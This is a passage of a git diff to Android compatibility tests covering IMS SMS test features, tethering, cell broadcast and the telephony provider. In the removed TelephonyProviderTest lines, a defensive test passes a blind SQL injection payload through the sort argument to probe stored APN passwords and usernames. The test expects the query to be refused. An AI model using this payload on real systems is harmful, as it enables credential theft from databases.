+ assertEquals("Invalid result in acknowledgeSms.", DELIVER_STATUS_OK, mResult);
+ }
+
+ public void sendReportWaitForAcknowledgeSmsReportR(int token, String format, byte[] pdu) {
+ onSmsStatusReportReceived(token, format, pdu);
+ boolean complete = false;
+ try {
+ complete = mAckDeliveryLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ // complete = false
+ }
+ assertTrue("Timed out waiting for delivery report.", complete);
+ assertEquals("Ttoken mismatch.", token, mToken);
+ assertEquals("Status mismatch.", STATUS_REPORT_STATUS_OK, mResult);
+ }
+
+
+ // Deprecated method for P and Q, where mToken is expected to be the framework token
+ public void sendReportWaitForAcknowledgeSmsReportPQ(int messageRef, String format,
+ byte[] pdu) {
+ onSmsStatusReportReceived(mToken, messageRef, format, pdu);
+ boolean complete = false;
+ try {
+ complete = mAckDeliveryLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ // complete = false
+ }
+ assertTrue("Timed out waiting for delivery report.", complete);
+ assertEquals("MessageRef mismatch.", messageRef, mMessageRef);
+ assertEquals("Status mismatch.", STATUS_REPORT_STATUS_OK, mResult);
+ }
+
+ // P-Q API
+ public boolean waitForMessageSentLatch() {
+ boolean complete = false;
+ try {
+ complete = mSentTriggeredLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ onSendSmsResult(mToken, mMessageRef, ImsSmsImplBase.SEND_STATUS_OK,
+ SmsManager.RESULT_ERROR_NONE);
+ } catch (InterruptedException e) {
+ // complete = false
+ }
+ return complete;
+ }
+
+ // R+ API
+ public boolean waitForMessageSentLatchSuccess() {
+ boolean complete = false;
+ try {
+ complete = mSentTriggeredLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ onSendSmsResultSuccess(mToken, mMessageRef);
+ } catch (InterruptedException e) {
+ // complete = false
+ }
+ return complete;
+ }
+
+ // R+ API
+ public boolean waitForMessageSentLatchError(int resultCode, int networkErrorCode) {
+ boolean complete = false;
+ try {
+ complete = mSentTriggeredLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ onSendSmsResultError(mToken, mMessageRef, ImsSmsImplBase.SEND_STATUS_ERROR,
+ resultCode, networkErrorCode);
+ } catch (InterruptedException e) {
+ // complete = false
+ }
+ return complete;
+ }
+
+ public boolean waitForOnReadyLatch() {
+ boolean complete = false;
+ try {
+ complete = mOnReadyLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ // complete = false
+ }
+
+ return complete;
+ }
+
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java
new file mode 100644
index 0000000..13706f8
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.feature.CapabilityChangeRequest;
+import android.telephony.ims.feature.MmTelFeature;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
+
+import java.util.List;
+
+public class TestMmTelFeature extends MmTelFeature {
+
+ private final TestImsService.RemovedListener mRemovedListener;
+ private final TestImsService.ReadyListener mReadyListener;
+ private final TestImsService.CapabilitiesSetListener mCapSetListener;
+
+ private static final String TAG = "CtsTestImsService";
+
+ private MmTelCapabilities mCapabilities =
+ new MmTelCapabilities(MmTelCapabilities.CAPABILITY_TYPE_SMS);
+ private TestImsSmsImpl mSmsImpl;
+
+ TestMmTelFeature(TestImsService.ReadyListener readyListener,
+ TestImsService.RemovedListener removedListener,
+ TestImsService.CapabilitiesSetListener setListener) {
+ mReadyListener = readyListener;
+ mRemovedListener = removedListener;
+ mCapSetListener = setListener;
+ mSmsImpl = new TestImsSmsImpl();
+ // Must set the state to READY in the constructor - onFeatureReady depends on the state
+ // being ready.
+ setFeatureState(STATE_READY);
+ }
+
+ public TestImsSmsImpl getSmsImplementation() {
+ return mSmsImpl;
+ }
+
+ @Override
+ public boolean queryCapabilityConfiguration(int capability, int radioTech) {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "queryCapabilityConfiguration called with capability: " + capability);
+ }
+ return mCapabilities.isCapable(capability);
+ }
+
+ @Override
+ public void changeEnabledCapabilities(CapabilityChangeRequest request,
+ CapabilityCallbackProxy c) {
+ List<CapabilityChangeRequest.CapabilityPair> pairs = request.getCapabilitiesToEnable();
+ for (CapabilityChangeRequest.CapabilityPair pair : pairs) {
+ if (pair.getRadioTech() == ImsRegistrationImplBase.REGISTRATION_TECH_LTE) {
+ mCapabilities.addCapabilities(pair.getCapability());
+ }
+ }
+ pairs = request.getCapabilitiesToDisable();
+ for (CapabilityChangeRequest.CapabilityPair pair : pairs) {
+ if (pair.getRadioTech() == ImsRegistrationImplBase.REGISTRATION_TECH_LTE) {
+ mCapabilities.removeCapabilities(pair.getCapability());
+ }
+ }
+ mCapSetListener.onSet();
+ }
+
+ @Override
+ public void onFeatureReady() {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestMmTelFeature.onFeatureReady called");
+ }
+ mReadyListener.onReady();
+ }
+
+ @Override
+ public void onFeatureRemoved() {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestMmTelFeature.onFeatureRemoved called");
+ }
+ mRemovedListener.onRemoved();
+ }
+
+ public void setCapabilities(MmTelCapabilities capabilities) {
+ mCapabilities = capabilities;
+ }
+
+ public MmTelCapabilities getCapabilities() {
+ return mCapabilities;
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
new file mode 100644
index 0000000..9752258
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.feature.CapabilityChangeRequest;
+import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
+
+import java.util.List;
+
+public class TestRcsFeature extends RcsFeature {
+ private static final String TAG = "CtsTestImsService";
+
+ private final TestImsService.ReadyListener mReadyListener;
+ private final TestImsService.RemovedListener mRemovedListener;
+ private final TestImsService.CapabilitiesSetListener mCapSetListener;
+
+ private RcsImsCapabilities mCapabilities =
+ new RcsImsCapabilities(RcsImsCapabilities.CAPABILITY_TYPE_NONE);
+
+ TestRcsFeature(TestImsService.ReadyListener readyListener,
+ TestImsService.RemovedListener listener,
+ TestImsService.CapabilitiesSetListener setListener) {
+ mReadyListener = readyListener;
+ mRemovedListener = listener;
+ mCapSetListener = setListener;
+
+ setFeatureState(STATE_READY);
+ }
+
+ @Override
+ public void onFeatureReady() {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestRcsFeature.onFeatureReady called");
+ }
+ mReadyListener.onReady();
+ }
+
+ @Override
+ public void onFeatureRemoved() {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestRcsFeature.onFeatureRemoved called");
+ }
+ mRemovedListener.onRemoved();
+ }
+
+
+ @Override
+ public boolean queryCapabilityConfiguration(int capability, int radioTech) {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestRcsFeature.queryCapabilityConfiguration called with capability: "
+ + capability);
+ }
+ return mCapabilities.isCapable(capability);
+ }
+
+ @Override
+ public void changeEnabledCapabilities(CapabilityChangeRequest request,
+ CapabilityCallbackProxy c) {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "TestRcsFeature.changeEnabledCapabilities");
+ }
+ List<CapabilityChangeRequest.CapabilityPair> pairs = request.getCapabilitiesToEnable();
+ for (CapabilityChangeRequest.CapabilityPair pair : pairs) {
+ if (pair.getRadioTech() == ImsRegistrationImplBase.REGISTRATION_TECH_LTE) {
+ mCapabilities.addCapabilities(pair.getCapability());
+ }
+ }
+ pairs = request.getCapabilitiesToDisable();
+ for (CapabilityChangeRequest.CapabilityPair pair : pairs) {
+ if (pair.getRadioTech() == ImsRegistrationImplBase.REGISTRATION_TECH_LTE) {
+ mCapabilities.removeCapabilities(pair.getCapability());
+ }
+ }
+ mCapSetListener.onSet();
+ }
+}
diff --git a/tests/tests/telephony/sdk28/Android.bp b/tests/tests/telephony/sdk28/Android.bp
index eaeed0f..b4c27d1 100644
--- a/tests/tests/telephony/sdk28/Android.bp
+++ b/tests/tests/telephony/sdk28/Android.bp
@@ -27,6 +27,7 @@
test_suites: [
"cts",
"vts",
+ "mts",
"general-tests",
],
libs: [
diff --git a/tests/tests/telephony2/Android.bp b/tests/tests/telephony2/Android.bp
index def3a75..df50f48 100644
--- a/tests/tests/telephony2/Android.bp
+++ b/tests/tests/telephony2/Android.bp
@@ -25,6 +25,7 @@
test_suites: [
"cts",
"vts",
+ "mts",
"general-tests",
],
libs: [
diff --git a/tests/tests/telephony2/OWNERS b/tests/tests/telephony2/OWNERS
index 7c8e7d8c..f4921e0 100644
--- a/tests/tests/telephony2/OWNERS
+++ b/tests/tests/telephony2/OWNERS
@@ -1,5 +1,2 @@
# Bug component: 20868
-rgreenwalt@google.com
-jackyu@google.com
-tgunn@google.com
-amitmahajan@google.com
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony3/Android.bp b/tests/tests/telephony3/Android.bp
index 563dbcb..9b11dbd 100644
--- a/tests/tests/telephony3/Android.bp
+++ b/tests/tests/telephony3/Android.bp
@@ -24,6 +24,7 @@
test_suites: [
"cts",
"vts",
+ "mts",
"general-tests",
],
libs: ["android.test.runner.stubs"] + ["android.test.base.stubs"],
diff --git a/tests/tests/telephony3/OWNERS b/tests/tests/telephony3/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telephony3/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony4/Android.bp b/tests/tests/telephony4/Android.bp
index ae22400..79fad95 100644
--- a/tests/tests/telephony4/Android.bp
+++ b/tests/tests/telephony4/Android.bp
@@ -31,6 +31,7 @@
test_suites: [
"cts",
"vts",
+ "mts",
"general-tests",
],
certificate: ":android_telephony_cts_testkey",
diff --git a/tests/tests/telephony4/OWNERS b/tests/tests/telephony4/OWNERS
index 5617896..3a905dd 100644
--- a/tests/tests/telephony4/OWNERS
+++ b/tests/tests/telephony4/OWNERS
@@ -1,2 +1,4 @@
# Bug component: 20868
-yinxu@google.com
\ No newline at end of file
+include ../telephony/OWNERS
+
+yinxu@google.com
diff --git a/tests/tests/telephonyprovider/OWNERS b/tests/tests/telephonyprovider/OWNERS
index 92458db..7f7694d 100644
--- a/tests/tests/telephonyprovider/OWNERS
+++ b/tests/tests/telephonyprovider/OWNERS
@@ -1,12 +1,3 @@
-amitmahajan@google.com
-fionaxu@google.com
-jackyu@google.com
-rgreenwalt@google.com
-refuhoo@google.com
-mpq@google.com
-jminjie@google.com
-shuoq@google.com
-hallliu@google.com
-tgunn@google.com
-breadley@google.com
-nazaninb@google.com
+# Bug component: 450841
+include ../telephony/OWNERS
+lelandmiller@google.com
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/CellBroadcastProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/CellBroadcastProviderTest.java
new file mode 100644
index 0000000..16c9c39
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/CellBroadcastProviderTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import android.content.ContentResolver;
+import android.provider.Telephony;
+import android.test.InstrumentationTestCase;
+
+public class CellBroadcastProviderTest extends InstrumentationTestCase {
+ private ContentResolver mContentResolver;
+ private static boolean sHasShellPermissionIdentity = false;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContentResolver = getInstrumentation().getContext().getContentResolver();
+ }
+
+ // this is only allowed for privileged process
+ public void testAccess() {
+ try {
+ mContentResolver.query(Telephony.CellBroadcasts.CONTENT_URI,
+ null, null, null, null);
+ fail("No SecurityException thrown");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ public void testAccessMessageHistoryWithoutPermission() {
+ try {
+ mContentResolver.query(Telephony.CellBroadcasts.MESSAGE_HISTORY_URI,
+ null, null, null, null);
+ fail("No SecurityException thrown");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+}
+
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
index 3324d7d..3f85f84 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
@@ -22,16 +22,23 @@
import android.app.role.RoleManager;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.os.Process;
import android.os.UserHandle;
import androidx.test.core.app.ApplicationProvider;
+import org.junit.Assume;
+
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Executor;
class DefaultSmsAppHelper {
static void ensureDefaultSmsApp() {
+ if (!hasTelephony()) {
+ return;
+ }
+
Context context = ApplicationProvider.getApplicationContext();
String packageName = context.getPackageName();
@@ -58,8 +65,17 @@
try {
latch.await();
assertTrue(success[0]);
- } catch(InterruptedException ex) {
+ } catch (InterruptedException ex) {
throw new RuntimeException(ex.getMessage());
}
}
+
+ static void assumeTelephony() {
+ Assume.assumeTrue(hasTelephony());
+ }
+
+ private static boolean hasTelephony() {
+ Context context = ApplicationProvider.getApplicationContext();
+ return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+ }
}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
index 9e45328..00e4dfe 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
@@ -16,6 +16,8 @@
package android.telephonyprovider.cts;
+import static android.telephonyprovider.cts.DefaultSmsAppHelper.assumeTelephony;
+
import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static com.google.common.truth.Truth.assertThat;
@@ -61,6 +63,7 @@
@Before
public void setupTestEnvironment() {
+ assumeTelephony();
cleanup();
mContentResolver = getInstrumentation().getContext().getContentResolver();
}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java
index 14f05a5..578f1f5 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java
@@ -16,6 +16,8 @@
package android.telephonyprovider.cts;
+import static android.telephonyprovider.cts.DefaultSmsAppHelper.assumeTelephony;
+
import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static com.google.common.truth.Truth.assertThat;
@@ -65,6 +67,7 @@
@Before
public void setupTestEnvironment() {
+ assumeTelephony();
cleanup();
mContentResolver = getInstrumentation().getContext().getContentResolver();
}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
index 3d449f2..df92443 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
@@ -16,79 +16,51 @@
package android.telephonyprovider.cts;
+import static android.telephonyprovider.cts.DefaultSmsAppHelper.assumeTelephony;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
import android.content.ContentResolver;
import android.database.Cursor;
import android.provider.Telephony.Carriers;
-import android.test.InstrumentationTestCase;
-public class TelephonyProviderTest extends InstrumentationTestCase {
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TelephonyProviderTest {
private ContentResolver mContentResolver;
private static final String[] APN_PROJECTION = {
- Carriers.TYPE,
- Carriers.MMSC,
- Carriers.MMSPROXY,
- Carriers.MMSPORT,
- Carriers.MVNO_TYPE,
- Carriers.MVNO_MATCH_DATA
+ Carriers.TYPE,
+ Carriers.MMSC,
+ Carriers.MMSPROXY,
+ Carriers.MMSPORT,
+ Carriers.MVNO_TYPE,
+ Carriers.MVNO_MATCH_DATA
};
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ assumeTelephony();
mContentResolver = getInstrumentation().getContext().getContentResolver();
}
// In JB MR1 access to the TelephonyProvider's Carriers table was clamped down and would
// throw a SecurityException when queried. That was fixed in JB MR2. Verify that 3rd parties
// can access the APN info the carriers table, after JB MR1.
+
+ // However, in R, a security bug was discovered that let apps read the password by querying
+ // multiple times and matching passwords against a regex in the query. Due to this hole, we're
+ // locking down the API and no longer allowing the exception. Accordingly, the behavior of this
+ // test is now reversed and we expect a SecurityException to be thrown.
+ @Test
public void testAccessToApns() {
try {
String selection = Carriers.CURRENT + " IS NOT NULL";
String[] selectionArgs = null;
Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
APN_PROJECTION, selection, selectionArgs, null);
- } catch (SecurityException e) {
- fail("No access to current APN");
- }
- }
-
- public void testNoAccessToPassword() {
- try {
- String selection = Carriers.CURRENT + " IS NOT NULL AND "
- + Carriers.PASSWORD + " IS NOT NULL";
- String[] selectionArgs = null;
- Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
- APN_PROJECTION, selection, selectionArgs, null);
- fail("Expected SecurityException");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- public void testNoAccessToPasswordThruSort() {
- try {
- String selection = Carriers.CURRENT + " IS NOT NULL";
- String[] selectionArgs = null;
- String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
- + " password LIKE 'a%') > 0) THEN 1 ELSE 0 END";
- Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
- APN_PROJECTION, selection, selectionArgs, sort);
- fail("Expected SecurityException");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- public void testNoAccessToUser() {
- try {
- String selection = Carriers.CURRENT + " IS NOT NULL AND "
- + Carriers.USER + " IS NOT NULL";
- String[] selectionArgs = null;
- String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
- + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END";
- Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
- APN_PROJECTION, selection, selectionArgs, sort);
- fail("Expected SecurityException");
+ Assert.fail("No SecurityException thrown");
} catch (SecurityException e) {
// expected
}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java
index a92870d..66365e2 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java
@@ -16,6 +16,8 @@
package android.telephonyprovider.cts;
+import static android.telephonyprovider.cts.DefaultSmsAppHelper.assumeTelephony;
+
import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static com.google.common.truth.Truth.assertThat;
@@ -58,6 +60,7 @@
@Before
public void setupTestEnvironment() {
+ assumeTelephony();
cleanup();
mContext = getInstrumentation().getContext();
mContentResolver = mContext.getContentResolver();
diff --git a/tests/tests/tethering/Android.bp b/tests/tests/tethering/Android.bp
new file mode 100644
index 0000000..0f98125
--- /dev/null
+++ b/tests/tests/tethering/Android.bp
@@ -0,0 +1,44 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsTetheringTest",
+ defaults: ["cts_defaults"],
+
+ libs: [
+ "android.test.base.stubs",
+ ],
+
+ srcs: [
+ "src/**/*.java",
+ ],
+
+ static_libs: [
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "junit",
+ "junit-params",
+ ],
+
+ // Change to system current when TetheringManager move to bootclass path.
+ platform_apis: true,
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+
+}
diff --git a/tests/tests/tethering/AndroidManifest.xml b/tests/tests/tethering/AndroidManifest.xml
new file mode 100644
index 0000000..665002e
--- /dev/null
+++ b/tests/tests/tethering/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.tethering.cts">
+
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+
+ <application android:debuggable="true">
+ <uses-library android:name="android.test.runner" />
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.tethering.cts"
+ android:label="CTS tests of android.tethering">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
diff --git a/tests/tests/tethering/AndroidTest.xml b/tests/tests/tethering/AndroidTest.xml
new file mode 100644
index 0000000..217d53a
--- /dev/null
+++ b/tests/tests/tethering/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Tethering test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="networking" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsTetheringTest.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.tethering.cts" />
+ </test>
+</configuration>
diff --git a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
new file mode 100644
index 0000000..9efb8f3
--- /dev/null
+++ b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.tethering.test;
+
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.ConnectivityManager;
+import android.os.ConditionVariable;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class TetheringManagerTest {
+
+ private Context mContext;
+
+ private ConnectivityManager mCM;
+
+ private TetherChangeReceiver mTetherChangeReceiver;
+
+ private String[] mTetheredList;
+
+ private static final int DEFAULT_TIMEOUT_MS = 60_000;
+
+ @Before
+ public void setUp() throws Exception {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity();
+ mContext = InstrumentationRegistry.getContext();
+ mCM = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+ mTetherChangeReceiver = new TetherChangeReceiver();
+ final IntentFilter filter = new IntentFilter(
+ ConnectivityManager.ACTION_TETHER_STATE_CHANGED);
+ final Intent intent = mContext.registerReceiver(mTetherChangeReceiver, filter);
+ if (intent != null) mTetherChangeReceiver.onReceive(null, intent);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mContext.unregisterReceiver(mTetherChangeReceiver);
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ private class TetherChangeReceiver extends BroadcastReceiver {
+ private class TetherState {
+ final ArrayList<String> mAvailable;
+ final ArrayList<String> mActive;
+ final ArrayList<String> mErrored;
+
+ TetherState(Intent intent) {
+ mAvailable = intent.getStringArrayListExtra(
+ ConnectivityManager.EXTRA_AVAILABLE_TETHER);
+ mActive = intent.getStringArrayListExtra(
+ ConnectivityManager.EXTRA_ACTIVE_TETHER);
+ mErrored = intent.getStringArrayListExtra(
+ ConnectivityManager.EXTRA_ERRORED_TETHER);
+ }
+ }
+
+ @Override
+ public void onReceive(Context content, Intent intent) {
+ String action = intent.getAction();
+ if (action.equals(ConnectivityManager.ACTION_TETHER_STATE_CHANGED)) {
+ mResult.add(new TetherState(intent));
+ }
+ }
+
+ public final LinkedBlockingQueue<TetherState> mResult = new LinkedBlockingQueue<>();
+
+ // This method expects either an event where one of the interfaces is active, or an event
+ // where one of the interface is available followed by one where one of the interfaces is
+ // active.
+ public void expectActiveTethering(String[] ifaceRegexs) {
+ TetherState state = pollAndAssertNoError(DEFAULT_TIMEOUT_MS);
+ if (state == null) fail("Do not receive tethering state change broadcast");
+
+ if (isIfaceActive(ifaceRegexs, state)) return;
+
+ if (isIfaceAvailable(ifaceRegexs, state)) {
+ state = pollAndAssertNoError(DEFAULT_TIMEOUT_MS);
+ if (isIfaceActive(ifaceRegexs, state)) return;
+ }
+
+ fail("Tethering is not actived, available ifaces: " + state.mAvailable.toString()
+ + ", active ifaces: " + state.mActive.toString());
+ }
+
+ private TetherState pollAndAssertNoError(final int timeout) {
+ final TetherState state = pollTetherState(timeout);
+ assertNoErroredIfaces(state);
+ return state;
+ }
+
+ private TetherState pollTetherState(final int timeout) {
+ try {
+ return mResult.poll(timeout, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ fail("No result after " + timeout + " ms");
+ return null;
+ }
+ }
+
+ private boolean isIfaceActive(final String[] ifaceRegexs, final TetherState state) {
+ return isIfaceMatch(ifaceRegexs, state.mActive);
+ }
+
+ private boolean isIfaceAvailable(final String[] ifaceRegexs, final TetherState state) {
